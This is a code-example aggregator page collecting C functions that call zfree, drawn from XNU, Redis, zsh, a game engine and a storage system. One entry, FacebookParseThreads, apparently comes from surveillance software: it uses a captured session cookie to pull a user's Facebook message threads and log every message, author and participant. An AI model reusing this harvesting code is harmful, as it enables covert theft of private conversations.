	}
#endif  /* MACH_BSD */

	if (machine_thread_create(new_thread, parent_task) != KERN_SUCCESS) {
#ifdef MACH_BSD
		void *ut = new_thread->uthread;

		new_thread->uthread = NULL;
		/* cred free may not be necessary */
		uthread_cleanup(parent_task, ut, parent_task->bsd_info);
		uthread_cred_free(ut);
		uthread_zone_free(ut);
#endif  /* MACH_BSD */

		zfree(thread_zone, new_thread);
		return (KERN_FAILURE);
	}

    new_thread->task = parent_task;

	thread_lock_init(new_thread);
	wake_lock_init(new_thread);

	lck_mtx_init(&new_thread->mutex, &thread_lck_grp, &thread_lck_attr);

	ipc_thread_init(new_thread);
	queue_init(&new_thread->held_ulocks);

	new_thread->continuation = continuation;

	lck_mtx_lock(&tasks_threads_lock);
	task_lock(parent_task);

	if (	!parent_task->active || parent_task->halting ||
			((options & TH_OPTION_NOSUSP) != 0 &&
			 	parent_task->suspend_count > 0)	||
			(parent_task->thread_count >= task_threadmax &&
				parent_task != kernel_task)		) {
		task_unlock(parent_task);
		lck_mtx_unlock(&tasks_threads_lock);

#ifdef MACH_BSD
		{
			void *ut = new_thread->uthread;

			new_thread->uthread = NULL;
			uthread_cleanup(parent_task, ut, parent_task->bsd_info);
			/* cred free may not be necessary */
			uthread_cred_free(ut);
			uthread_zone_free(ut);
		}
#endif  /* MACH_BSD */
		ipc_thread_disable(new_thread);
		ipc_thread_terminate(new_thread);
		lck_mtx_destroy(&new_thread->mutex, &thread_lck_grp);
		machine_thread_destroy(new_thread);
		zfree(thread_zone, new_thread);
		return (KERN_FAILURE);
	}

	/* New threads inherit any default state on the task */
	machine_thread_inherit_taskwide(new_thread, parent_task);

	task_reference_internal(parent_task);

	/* Cache the task's map */
	new_thread->map = parent_task->map;

	/* Chain the thread onto the task's list */
	queue_enter(&parent_task->threads, new_thread, thread_t, task_threads);
	parent_task->thread_count++;
	
	/* So terminating threads don't need to take the task lock to decrement */
	hw_atomic_add(&parent_task->active_thread_count, 1);

	/* Protected by the tasks_threads_lock */
	new_thread->thread_id = ++thread_unique_id;

	queue_enter(&threads, new_thread, thread_t, threads);
	threads_count++;

	timer_call_setup(&new_thread->wait_timer, thread_timer_expire, new_thread);
	timer_call_setup(&new_thread->depress_timer, thread_depress_expire, new_thread);

#if CONFIG_COUNTERS
	/*
	 * If parent task has any reservations, they need to be propagated to this
	 * thread.
	 */
	new_thread->t_chud = (TASK_PMC_FLAG == (parent_task->t_chud & TASK_PMC_FLAG)) ? 
		THREAD_PMC_FLAG : 0U;
#endif

	/* Set the thread's scheduling parameters */
	if (parent_task != kernel_task)
		new_thread->sched_mode |= TH_MODE_TIMESHARE;
	new_thread->max_priority = parent_task->max_priority;
	new_thread->task_priority = parent_task->priority;
	new_thread->priority = (priority < 0)? parent_task->priority: priority;
	if (new_thread->priority > new_thread->max_priority)
		new_thread->priority = new_thread->max_priority;
	new_thread->importance =
					new_thread->priority - new_thread->task_priority;
	new_thread->sched_stamp = sched_tick;
	new_thread->pri_shift = sched_pri_shift;
	compute_priority(new_thread, FALSE);

	new_thread->active = TRUE;

	*out_thread = new_thread;

	{
		long	dbg_arg1, dbg_arg2, dbg_arg3, dbg_arg4;

		kdbg_trace_data(parent_task->bsd_info, &dbg_arg2);

		KERNEL_DEBUG_CONSTANT(
					TRACEDBG_CODE(DBG_TRACE_DATA, 1) | DBG_FUNC_NONE,
							(vm_address_t)(uintptr_t)thread_tid(new_thread), dbg_arg2, 0, 0, 0);

		kdbg_trace_string(parent_task->bsd_info,
							&dbg_arg1, &dbg_arg2, &dbg_arg3, &dbg_arg4);

		KERNEL_DEBUG_CONSTANT(
					TRACEDBG_CODE(DBG_TRACE_STRING, 1) | DBG_FUNC_NONE,
							dbg_arg1, dbg_arg2, dbg_arg3, dbg_arg4, 0);
	}

	DTRACE_PROC1(lwp__create, thread_t, *out_thread);

	return (KERN_SUCCESS);
}
예제 #22
0
파일: t_zset.c 프로젝트: aditya/redis
/* This generic command implements both ZADD and ZINCRBY.
 * scoreval is the score if the operation is a ZADD (doincrement == 0) or
 * the increment if the operation is a ZINCRBY (doincrement == 1). */
void zaddGenericCommand(redisClient *c, robj *key, robj *ele, double scoreval, int doincrement) {
    robj *zsetobj;
    zset *zs;
    double *score;

    if (isnan(scoreval)) {
        addReplySds(c,sdsnew("-ERR provide score is Not A Number (nan)\r\n"));
        return;
    }

    zsetobj = lookupKeyWrite(c->db,key);
    if (zsetobj == NULL) {
        zsetobj = createZsetObject();
        dbAdd(c->db,key,zsetobj);
    } else {
        if (zsetobj->type != REDIS_ZSET) {
            addReply(c,shared.wrongtypeerr);
            return;
        }
    }
    zs = zsetobj->ptr;

    /* Ok now since we implement both ZADD and ZINCRBY here the code
     * needs to handle the two different conditions. It's all about setting
     * '*score', that is, the new score to set, to the right value. */
    score = zmalloc(sizeof(double));
    if (doincrement) {
        dictEntry *de;

        /* Read the old score. If the element was not present starts from 0 */
        de = dictFind(zs->dict,ele);
        if (de) {
            double *oldscore = dictGetEntryVal(de);
            *score = *oldscore + scoreval;
        } else {
            *score = scoreval;
        }
        if (isnan(*score)) {
            addReplySds(c,
                sdsnew("-ERR resulting score is Not A Number (nan)\r\n"));
            zfree(score);
            /* Note that we don't need to check if the zset may be empty and
             * should be removed here, as we can only obtain Nan as score if
             * there was already an element in the sorted set. */
            return;
        }
    } else {
        *score = scoreval;
    }

    /* What follows is a simple remove and re-insert operation that is common
     * to both ZADD and ZINCRBY... */
    if (dictAdd(zs->dict,ele,score) == DICT_OK) {
        /* case 1: New element */
        incrRefCount(ele); /* added to hash */
        zslInsert(zs->zsl,*score,ele);
        incrRefCount(ele); /* added to skiplist */
        touchWatchedKey(c->db,c->argv[1]);
        server.dirty++;
        if (doincrement)
            addReplyDouble(c,*score);
        else
            addReply(c,shared.cone);
    } else {
        dictEntry *de;
        double *oldscore;

        /* case 2: Score update operation */
        de = dictFind(zs->dict,ele);
        redisAssert(de != NULL);
        oldscore = dictGetEntryVal(de);
        if (*score != *oldscore) {
            int deleted;

            /* Remove and insert the element in the skip list with new score */
            deleted = zslDelete(zs->zsl,*oldscore,ele);
            redisAssert(deleted != 0);
            zslInsert(zs->zsl,*score,ele);
            incrRefCount(ele);
            /* Update the score in the hash table */
            dictReplace(zs->dict,ele,score);
            touchWatchedKey(c->db,c->argv[1]);
            server.dirty++;
        } else {
            zfree(score);
        }
        if (doincrement)
            addReplyDouble(c,*score);
        else
            addReply(c,shared.czero);
    }
}
예제 #23
0
파일: lex.c 프로젝트: cedarli/zsh
mod_export void
lexrestore(void)
{
    struct lexstack *ln;

    DPUTS(!lstack, "BUG: lexrestore() without lexsave()");
    incmdpos = lstack->incmdpos;
    incond = lstack->incond;
    incasepat = lstack->incasepat;
    dbparens = lstack->dbparens;
    isfirstln = lstack->isfirstln;
    isfirstch = lstack->isfirstch;
    histactive = lstack->histactive;
    histdone = lstack->histdone;
    lexflags = lstack->lexflags;
    stophist = lstack->stophist;
    chline = lstack->hline;
    hptr = lstack->hptr;
    if (cmdstack)
	free(cmdstack);
    cmdstack = lstack->cstack;
    cmdsp = lstack->csp;
    tok = lstack->tok;
    isnewlin = lstack->isnewlin;
    tokstr = lstack->tokstr;
    zshlextext = lstack->zshlextext;
    bptr = lstack->bptr;
    bsiz = lstack->bsiz;
    len = lstack->len;
    chwords = lstack->chwords;
    chwordlen = lstack->chwordlen;
    chwordpos = lstack->chwordpos;
    hwgetword = lstack->hwgetword;
    lexstop = lstack->lexstop;
    hdocs = lstack->hdocs;
    hgetc = lstack->hgetc;
    hungetc = lstack->hungetc;
    hwaddc = lstack->hwaddc;
    hwbegin = lstack->hwbegin;
    hwend = lstack->hwend;
    addtoline = lstack->addtoline;
    if (ecbuf)
	zfree(ecbuf, eclen);
    eclen = lstack->eclen;
    ecused = lstack->ecused;
    ecnpats = lstack->ecnpats;
    ecbuf = lstack->ecbuf;
    ecstrs = lstack->ecstrs;
    ecsoffs = lstack->ecsoffs;
    ecssub = lstack->ecssub;
    ecnfunc = lstack->ecnfunc;
    hlinesz = lstack->hlinesz;
    toklineno = lstack->toklineno;
    errflag = 0;

    ln = lstack->next;
    if (!ln) {
	/* Back to top level: don't need special ZLE value */
	DPUTS(chline != zle_chline, "BUG: Ouch, wrong chline for ZLE");
	zle_chline = NULL;
    }
    free(lstack);
    lstack = ln;
}
예제 #24
0
파일: t_zset.c 프로젝트: aditya/redis
void zunionInterGenericCommand(redisClient *c, robj *dstkey, int op) {
    int i, j, setnum;
    int aggregate = REDIS_AGGR_SUM;
    zsetopsrc *src;
    robj *dstobj;
    zset *dstzset;
    dictIterator *di;
    dictEntry *de;

    /* expect setnum input keys to be given */
    setnum = atoi(c->argv[2]->ptr);
    if (setnum < 1) {
        addReplySds(c,sdsnew("-ERR at least 1 input key is needed for ZUNIONSTORE/ZINTERSTORE\r\n"));
        return;
    }

    /* test if the expected number of keys would overflow */
    if (3+setnum > c->argc) {
        addReply(c,shared.syntaxerr);
        return;
    }

    /* read keys to be used for input */
    src = zmalloc(sizeof(zsetopsrc) * setnum);
    for (i = 0, j = 3; i < setnum; i++, j++) {
        robj *obj = lookupKeyWrite(c->db,c->argv[j]);
        if (!obj) {
            src[i].dict = NULL;
        } else {
            if (obj->type == REDIS_ZSET) {
                src[i].dict = ((zset*)obj->ptr)->dict;
            } else if (obj->type == REDIS_SET) {
                src[i].dict = (obj->ptr);
            } else {
                zfree(src);
                addReply(c,shared.wrongtypeerr);
                return;
            }
        }

        /* default all weights to 1 */
        src[i].weight = 1.0;
    }

    /* parse optional extra arguments */
    if (j < c->argc) {
        int remaining = c->argc - j;

        while (remaining) {
            if (remaining >= (setnum + 1) && !strcasecmp(c->argv[j]->ptr,"weights")) {
                j++; remaining--;
                for (i = 0; i < setnum; i++, j++, remaining--) {
                    if (getDoubleFromObjectOrReply(c, c->argv[j], &src[i].weight, NULL) != REDIS_OK)
                        return;
                }
            } else if (remaining >= 2 && !strcasecmp(c->argv[j]->ptr,"aggregate")) {
                j++; remaining--;
                if (!strcasecmp(c->argv[j]->ptr,"sum")) {
                    aggregate = REDIS_AGGR_SUM;
                } else if (!strcasecmp(c->argv[j]->ptr,"min")) {
                    aggregate = REDIS_AGGR_MIN;
                } else if (!strcasecmp(c->argv[j]->ptr,"max")) {
                    aggregate = REDIS_AGGR_MAX;
                } else {
                    zfree(src);
                    addReply(c,shared.syntaxerr);
                    return;
                }
                j++; remaining--;
            } else {
                zfree(src);
                addReply(c,shared.syntaxerr);
                return;
            }
        }
    }

    /* sort sets from the smallest to largest, this will improve our
     * algorithm's performance */
    qsort(src,setnum,sizeof(zsetopsrc),qsortCompareZsetopsrcByCardinality);

    dstobj = createZsetObject();
    dstzset = dstobj->ptr;

    if (op == REDIS_OP_INTER) {
        /* skip going over all entries if the smallest zset is NULL or empty */
        if (src[0].dict && dictSize(src[0].dict) > 0) {
            /* precondition: as src[0].dict is non-empty and the zsets are ordered
             * from small to large, all src[i > 0].dict are non-empty too */
            di = dictGetIterator(src[0].dict);
            while((de = dictNext(di)) != NULL) {
                double *score = zmalloc(sizeof(double)), value;
                *score = src[0].weight * zunionInterDictValue(de);

                for (j = 1; j < setnum; j++) {
                    dictEntry *other = dictFind(src[j].dict,dictGetEntryKey(de));
                    if (other) {
                        value = src[j].weight * zunionInterDictValue(other);
                        zunionInterAggregate(score, value, aggregate);
                    } else {
                        break;
                    }
                }

                /* skip entry when not present in every source dict */
                if (j != setnum) {
                    zfree(score);
                } else {
                    robj *o = dictGetEntryKey(de);
                    dictAdd(dstzset->dict,o,score);
                    incrRefCount(o); /* added to dictionary */
                    zslInsert(dstzset->zsl,*score,o);
                    incrRefCount(o); /* added to skiplist */
                }
            }
            dictReleaseIterator(di);
        }
    } else if (op == REDIS_OP_UNION) {
        for (i = 0; i < setnum; i++) {
            if (!src[i].dict) continue;

            di = dictGetIterator(src[i].dict);
            while((de = dictNext(di)) != NULL) {
                /* skip key when already processed */
                if (dictFind(dstzset->dict,dictGetEntryKey(de)) != NULL) continue;

                double *score = zmalloc(sizeof(double)), value;
                *score = src[i].weight * zunionInterDictValue(de);

                /* because the zsets are sorted by size, its only possible
                 * for sets at larger indices to hold this entry */
                for (j = (i+1); j < setnum; j++) {
                    dictEntry *other = dictFind(src[j].dict,dictGetEntryKey(de));
                    if (other) {
                        value = src[j].weight * zunionInterDictValue(other);
                        zunionInterAggregate(score, value, aggregate);
                    }
                }

                robj *o = dictGetEntryKey(de);
                dictAdd(dstzset->dict,o,score);
                incrRefCount(o); /* added to dictionary */
                zslInsert(dstzset->zsl,*score,o);
                incrRefCount(o); /* added to skiplist */
            }
            dictReleaseIterator(di);
        }
    } else {
        /* unknown operator */
        redisAssert(op == REDIS_OP_INTER || op == REDIS_OP_UNION);
    }

    dbDelete(c->db,dstkey);
    if (dstzset->zsl->length) {
        dbAdd(c->db,dstkey,dstobj);
        addReplyLongLong(c, dstzset->zsl->length);
        touchWatchedKey(c->db,dstkey);
        server.dirty++;
    } else {
        decrRefCount(dstobj);
        addReply(c, shared.czero);
    }
    zfree(src);
}
예제 #25
0
BOOL FacebookParseThreads(LPSTR strCookie, LPSTR strUserId, LPSTR strScreenName, DWORD dwLastTS)
{
	BOOL bIncoming;
	WCHAR strUrl[256];
	CHAR strThreadId[512];
	CHAR strPeersId[256];
	CHAR strPeers[512];
	CHAR strAuthor[256];
	CHAR strAuthorId[256];
	DWORD dwRet, dwBufferSize;
	LPSTR strRecvBuffer=NULL, strRecvBuffer2=NULL, strParser1, strParser2, strInnerParser1, strInnerParser2;


	LPSTR strMsgBody = NULL;

	dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/messages/", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie);  //FIXME: array
	if (dwRet != SOCIAL_REQUEST_SUCCESS)
		return FALSE;
	
	strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_END);
	if (!strParser1)
	{
		zfree(strRecvBuffer);
		return NULL;
	}
	*strParser1 = 0; // fine lista
	

	strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_ID);
	if (!strParser1)
	{
		zfree(strRecvBuffer);
		return FALSE;
	}	

	for (;;)
	{
		// get thread status and skip if unread
		strParser2 = strstr(strParser1, FB_THREAD_STATUS_IDENTIFIER_V2);
		if (strParser2) 
		{
			strParser2 += strlen(FB_THREAD_STATUS_IDENTIFIER_V2);
			if (*strParser2 != '0') // unread
			{
				strParser1 = strParser2;
				continue;
			}
		}
		else 
			break;

		strParser1 = strstr(strParser1, FB_THREAD_IDENTIFIER_V2);
		if (!strParser1)
			break;
		
		strParser1 += strlen(FB_THREAD_IDENTIFIER_V2);
		strParser2 = strchr(strParser1, '"');
		if (!strParser2)
			break;
		*strParser2 = 0;


		SecureZeroMemory(strUrl, 256);
		SecureZeroMemory(strThreadId, 512);
		strcpy_s(strThreadId, 512, strParser1);
		URLDecode(strThreadId);
		_snwprintf_s(strUrl, sizeof(strUrl)/sizeof(WCHAR), _TRUNCATE, L"/ajax/messaging/async.php?sk=inbox&action=read&tid=%S&__a=1&msgs_only=1", strThreadId);  //FIXME: array

		
		strParser1 = strParser2 + 1;
		
		// cerca id partecipanti
		BOOL bAmIPresent = FALSE;
		SecureZeroMemory(strPeersId, sizeof(strPeersId));
		for (;;)
		{
			strParser2 = strstr(strParser1, FB_PEER_ID_IDENTIFIER);
			if (!strParser2)
				break;
			strParser1 = strParser2 + strlen(FB_PEER_ID_IDENTIFIER);
			strParser2 = strchr(strParser1, '"');
			if (!strParser2)
				break;
			*strParser2 = 0;

			if (!strcmp(strParser1, strUserId))
				bAmIPresent = TRUE;

			if (strlen(strPeersId) == 0)
				_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s", strParser1);
			else
				_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strParser1);

			strParser1 = strParser2 + 1;

			if (*strParser1 == ']')
				break;
		}
		if (!bAmIPresent)
			_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strUserId);

		// controlla timestamp
		strParser1 = strstr(strParser1, FB_MESSAGE_TSTAMP_IDENTIFIER_V2);
		if (!strParser1)
			break;
		strParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER_V2);

		DWORD dwCurrTS;
		CHAR strTimeStamp[11];
		SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp));
		memcpy(strTimeStamp, strParser1, 10);
		dwCurrTS = atoi(strTimeStamp);
		if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS)
			continue;

		// salva timestamp se piu' recente
		SocialSetLastTimestamp(strUserId, dwCurrTS, 0);

		// get thread's messages
		DWORD dwBuffSize2;
		dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer2, &dwBuffSize2, strCookie);  //FIXME: array
		if (dwRet != SOCIAL_REQUEST_SUCCESS)
		{
			zfree(strRecvBuffer);
			return FALSE;
		}

		// get peers screen name, 
		strInnerParser1 = strRecvBuffer2;
		strInnerParser1 = strstr(strInnerParser1, FB_THREAD_AUTHOR_IDENTIFIER_V2);
		if (!strInnerParser1)
		{
			zfree(strRecvBuffer2);
			continue;
		}

		strInnerParser1 += strlen(FB_THREAD_AUTHOR_IDENTIFIER_V2);
		strInnerParser2 = strstr(strInnerParser1, " - ");
		if (!strInnerParser2)
		{
			zfree(strRecvBuffer2);
			continue;
		}
		*strInnerParser2 = 0;
		_snprintf_s(strPeers, sizeof(strPeers), _TRUNCATE, "%s, %s", strScreenName, strInnerParser1);

		strInnerParser1 = strRecvBuffer2;
		for (;;)
		{
			strInnerParser1 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
			if (!strInnerParser1)
				break;
			strInnerParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER);
			SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp));
			memcpy(strTimeStamp, strInnerParser1, 10);
			dwCurrTS = atoi(strTimeStamp);
			if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS)
				continue;
			SocialSetLastTimestamp(strUserId, dwCurrTS, 0);

			strInnerParser2 = strstr(strInnerParser1, FB_MESSAGE_AUTHOR_IDENTIFIER);
			if (!strInnerParser2)
				break;
			*strInnerParser2 = 0;
			strInnerParser1 = strInnerParser2;
			for (;*(strInnerParser1) != '>' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
			if (strInnerParser1 <= strRecvBuffer2)
				break;
			strInnerParser1++;
			_snprintf_s(strAuthor, sizeof(strAuthor), _TRUNCATE, "%s", strInnerParser1);
			strInnerParser1--;

			for (;*(strInnerParser1) != '\\' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
			if (strInnerParser1 <= strRecvBuffer2)
				break;
			*strInnerParser1 = 0;
			for (;*(strInnerParser1) != '=' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
			if (strInnerParser1 <= strRecvBuffer2)
				break;
			strInnerParser1++;
			_snprintf_s(strAuthorId, sizeof(strAuthorId), _TRUNCATE, "%s", strInnerParser1);
			strInnerParser1 = strInnerParser2 + 1;

			if (!strcmp(strAuthorId, strUserId))
				bIncoming = FALSE;
			else
				bIncoming = TRUE;

			DWORD dwMsgPartSize, dwMsgBodySize;
			dwMsgPartSize = dwMsgBodySize = 0;
			zfree(strMsgBody); // questo e' NULL al primo giro, zfree se lo smazza.
			for (;;)
			{
				LPSTR strMsgParser1, strMsgParser2;
				strMsgParser1 = strstr(strInnerParser1, FB_MESSAGE_BODY_IDENTIFIER);
				if (!strMsgParser1)
					break;
				// no moar body, parte un altro timestamp
				strMsgParser2 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
				if (strMsgParser2 && strMsgParser2<strMsgParser1)
					break;

				strInnerParser1 = strMsgParser1;
				strInnerParser1 = strstr(strInnerParser1, "p>");  //FIXME: array
				if (!strInnerParser1)
					break;
				strInnerParser1 += strlen("p>");
				strInnerParser2 = strstr(strInnerParser1, "\\u003C\\/p>");  //FIXME: array
				if (!strInnerParser2)
					break;
				*strInnerParser2 = 0;

				DWORD dwMsgPartSize = strlen(strInnerParser1);
				strMsgParser1 = (LPSTR) realloc(strMsgBody, dwMsgBodySize + dwMsgPartSize + strlen(FB_NEW_LINE) + sizeof(WCHAR));
				if (!strMsgParser1)
					break;

				// se non e' il primo body, mette a capo
				if (strMsgBody)
				{
					memcpy(strMsgParser1 + dwMsgBodySize, FB_NEW_LINE, strlen(FB_NEW_LINE));
					dwMsgBodySize += strlen(FB_NEW_LINE);				
				}

				strMsgBody = strMsgParser1;
				memcpy(strMsgBody + dwMsgBodySize, strInnerParser1, dwMsgPartSize);
				dwMsgBodySize += dwMsgPartSize;

				memset(strMsgBody + dwMsgBodySize, 0x0, sizeof(WCHAR));

				strInnerParser1 = strInnerParser2 + 1;
			}

			if (strMsgBody)
			{
				struct tm tstamp;
				_gmtime32_s(&tstamp, (__time32_t *)&dwCurrTS);
				tstamp.tm_year += 1900;
				tstamp.tm_mon++;

				JsonDecode(strMsgBody);
				
				SocialLogIMMessageA(CHAT_PROGRAM_FACEBOOK, strPeers, strPeersId, strAuthor, strAuthorId, strMsgBody, &tstamp, bIncoming);

				zfree(strMsgBody);
				strMsgBody = NULL;
			}
			else
				break;
		}
		zfree(strRecvBuffer2);
	}

	zfree(strRecvBuffer);
	return TRUE;
}
예제 #26
0
파일: t_zset.c 프로젝트: aditya/redis
void zslFreeNode(zskiplistNode *node) {
    decrRefCount(node->obj);
    zfree(node->forward);
    zfree(node->span);
    zfree(node);
}
예제 #27
0
파일: cvar.c 프로젝트: icanhas/yantar
/* set value of an existing cvar */
static void
setnewval(Cvar *var, const char *var_name, const char *var_value, int flags)
{
	var_value = validate(var, var_value, qfalse);
	/*
	 * if the C code is now specifying a variable that the user already
	 * set a value for, take the new value as the reset value
	 */
	if(var->flags & CVAR_USER_CREATED){
		var->flags &= ~CVAR_USER_CREATED;
		zfree(var->resetString);
		var->resetString = copystr(var_value);

		if(flags & CVAR_ROM){
			/*
			 * this variable was set by the user,
			 * so force it to value given by the engine.
			 */
			if(var->latchedString != '\0')
				zfree(var->latchedString);
			var->latchedString = copystr(var_value);
		}
	}

	/* make sure the game code cannot mark engine-added variables as gamecode vars */
	if(var->flags & CVAR_VM_CREATED){
		if(!(flags & CVAR_VM_CREATED))
			var->flags &= ~CVAR_VM_CREATED;
	}else if(flags & CVAR_VM_CREATED)
		flags &= ~CVAR_VM_CREATED;

	/* make sure servers cannot mark engine-added variables as SERVER_CREATED */
	if(var->flags & CVAR_SERVER_CREATED){
		if(!(flags & CVAR_SERVER_CREATED))
			var->flags &= ~CVAR_SERVER_CREATED;
	}else if(flags & CVAR_SERVER_CREATED)
		flags &= ~CVAR_SERVER_CREATED;

	var->flags |= flags;

	/* only allow one non-empty reset string without a warning */
	if(var->resetString[0] == '\0'){
		/* we don't have a reset string yet */
		zfree(var->resetString);
		var->resetString = copystr(var_value);
	}else if(var_value[0] && strcmp(var->resetString, var_value))
		comdprintf("Warning: cvar \"%s\" given initial values: \"%s\""
			    " and \"%s\"\n", var_name, var->resetString, var_value);
	/* if we have a latched string, take that value now */
	if(var->latchedString != nil){
		char *s;

		s = var->latchedString;
		var->latchedString = nil;	/* otherwise cvar_set2 would free it */
		cvarsetstr2(var_name, s, qtrue);
		zfree(s);
	}
	/* ZOID--needs to be set so that cvars the game sets as
	 * SERVERINFO get sent to clients */
	cvar_modifiedFlags |= flags;
}
예제 #28
0
/* Free the result of getKeysFromCommand. */
void getKeysFreeResult(int *result) {
    zfree(result);
}
예제 #29
0
파일: vnode.c 프로젝트: uukuguy/legolas
vnode_t *vnode_new(const char *root_dir, uint32_t id, enum eVnodeStorageType storage_type, vnode_write_queue_handle_write_cb vnode_write_queue_handle_write)
{
    vnode_t *vnode = (vnode_t*)zmalloc(sizeof(vnode_t));

    memset(vnode, 0, sizeof(vnode_t));
    vnode->id = id;
    vnode->storage_type = storage_type;
    /*vnode->max_dbsize = 1024L * 1024L * 1024L * 4L;*/
    vnode->max_dbsize = 1024L * 1024L * 500L;

    /* Create vnode root dir */
    sprintf(vnode->root_dir, "%s/%04d", root_dir, id);
    if ( mkdir_if_not_exist(vnode->root_dir) != 0 ){
        error_log("Cann't create vnode(%d) dir:%s", id, vnode->root_dir);
        zfree(vnode);
        return NULL;
    }

    /* datazones */
    int i;
    for ( i = 0 ; i < MAX_DATAZONES ; i++ ){
        vnode->datazones[i] = (datazone_t*)zmalloc(sizeof(datazone_t));
        if ( datazone_init(vnode->datazones[i], vnode, i) != 0 ){
            zfree(vnode);
            return NULL;
        }
    }

    /* Slices DB */
    if ( vnode->storage_type >= STORAGE_KVDB ){

        // Create Metadata DB.
        const char *metadata_dbname = "metadata";
        kvdb_t *kvdb_metadata = vnode_open_kvdb(vnode, metadata_dbname);
        if ( kvdb_metadata == NULL ){
            error_log("MetadataDB create failed. dbname:%s", metadata_dbname);
            zfree(vnode);
            return NULL;
        }
        vnode->kvdb_metadata = kvdb_metadata;

        uint32_t active_slicedb_id = 0;
        if ( kvdb_get_uint32(kvdb_metadata, "active_slicedb_id", &active_slicedb_id) != 0 ){
            active_slicedb_id = 0;
        }
        notice_log("vnode active_slicedb_id:%d", active_slicedb_id);

        // Create Slice DB.
        for ( int db_id = 0 ; db_id <= active_slicedb_id ; db_id++ ){
            slicedb_t *slicedb = vnode_open_slicedb(vnode, db_id);
            if ( slicedb != NULL ){
            } else {
            /*char dbname[NAME_MAX];*/
            /*sprintf(dbname, "slice-%03d", db_id);*/
            /*kvdb_t *kvdb = vnode_open_kvdb(vnode, dbname);*/
            /*if ( kvdb != NULL ){*/
                /*vnode->slicedbs[db_id] = slicedb_new(db_id, kvdb, vnode->max_dbsize);*/
            /*} else {*/
                /*error_log("SliceDB create failed. dbname:%s", dbname);*/
                for ( int n = 0 ; n < db_id ; n++ ){
                    slicedb_free(vnode->slicedbs[n]);
                    vnode->slicedbs[n] = NULL;
                }
                zfree(vnode);
                return NULL;
            }
        }
        vnode->active_slicedb = vnode->slicedbs[active_slicedb_id];
        /*vnode->kvdb = vnode->active_slicedb->kvdb;*/

    }

    vnode->caching_objects = object_queue_new(object_compare_md5_func);

    vnode->received_objects = listCreate();
    vnode->received_object_size = 0;
    vnode->standby_objects = listCreate();
    vnode->standby_object_size = 0;

    vnode->write_queue = init_work_queue(vnode_write_queue_handle_write, VNODE_WRITE_QUEUE_INTERVAL);

    return vnode;
}
예제 #30
0
파일: vm.c 프로젝트: ambakshi/redis
/* Every time a thread finished a Job, it writes a byte into the write side
 * of an unix pipe in order to "awake" the main thread, and this function
 * is called.
 *
 * Note that this is called both by the event loop, when a I/O thread
 * sends a byte in the notification pipe, and is also directly called from
 * waitEmptyIOJobsQueue().
 *
 * In the latter case we don't want to swap more, so we use the
 * "privdata" argument setting it to a not NULL value to signal this
 * condition. */
void vmThreadedIOCompletedJob(aeEventLoop *el, int fd, void *privdata,
            int mask)
{
    char buf[1];
    int retval, processed = 0, toprocess = -1, trytoswap = 1;
    REDIS_NOTUSED(el);
    REDIS_NOTUSED(mask);
    REDIS_NOTUSED(privdata);

    if (privdata != NULL) trytoswap = 0; /* check the comments above... */

    /* For every byte we read in the read side of the pipe, there is one
     * I/O job completed to process. */
#ifndef _WIN32
    while((retval = read(fd,buf,1)) == 1) {
#else
    DWORD pipe_is_on = 0;

    while (1) {
        retval = 0;
        /*Windows fix: We need to peek pipe, since read would block. */
        if (!PeekNamedPipe((HANDLE) _get_osfhandle(fd), NULL, 0, NULL, &pipe_is_on, NULL)) {
           redisLog(REDIS_DEBUG,"PeekReadPipe failed %s", strerror(GetLastError()));
           break;
        }

        /* No data on pipe */
        if (!pipe_is_on)
            break;

        if ((retval = read(fd,buf,1)) != 1)
            break;
#endif
        iojob *j;
        listNode *ln;
        struct dictEntry *de;

        /* Get the processed element (the oldest one) */
        lockThreadedIO();
        redisLog(REDIS_DEBUG,"Processing I/O completed job");
        redisAssert(listLength(server.io_processed) != 0);
        if (toprocess == -1) {
            toprocess = (listLength(server.io_processed)*REDIS_MAX_COMPLETED_JOBS_PROCESSED)/100;
            if (toprocess <= 0) toprocess = 1;
        }
        ln = listFirst(server.io_processed);
        j = ln->value;
        listDelNode(server.io_processed,ln);
        unlockThreadedIO();
        /* If this job is marked as canceled, just ignore it */
        if (j->canceled) {
            freeIOJob(j);
            continue;
        }
        /* Post process it in the main thread, as there are things we
         * can do just here to avoid race conditions and/or invasive locks */
        redisLog(REDIS_DEBUG,"COMPLETED Job type: %d, ID %p, key: %s", j->type, (void*)j->id, (unsigned char*)j->key->ptr);
        de = dictFind(j->db->dict,j->key->ptr);
        redisAssert(de != NULL);
        if (j->type == REDIS_IOJOB_LOAD) {
            redisDb *db;
            vmpointer *vp = dictGetEntryVal(de);

            /* Key loaded, bring it at home */
            vmMarkPagesFree(vp->page,vp->usedpages);
            redisLog(REDIS_DEBUG, "VM: object %s loaded from disk (threaded)",
                (unsigned char*) j->key->ptr);
            server.vm_stats_swapped_objects--;
            server.vm_stats_swapins++;
            dictGetEntryVal(de) = j->val;
            incrRefCount(j->val);
            db = j->db;
            /* Handle clients waiting for this key to be loaded. */
            handleClientsBlockedOnSwappedKey(db,j->key);
            freeIOJob(j);
            zfree(vp);
        } else if (j->type == REDIS_IOJOB_PREPARE_SWAP) {
            /* Now we know the amount of pages required to swap this object.
             * Let's find some space for it, and queue this task again
             * rebranded as REDIS_IOJOB_DO_SWAP. */
            if (!vmCanSwapOut() ||
                vmFindContiguousPages(&j->page,j->pages) == REDIS_ERR)
            {
                /* Ooops... no space or we can't swap as there is
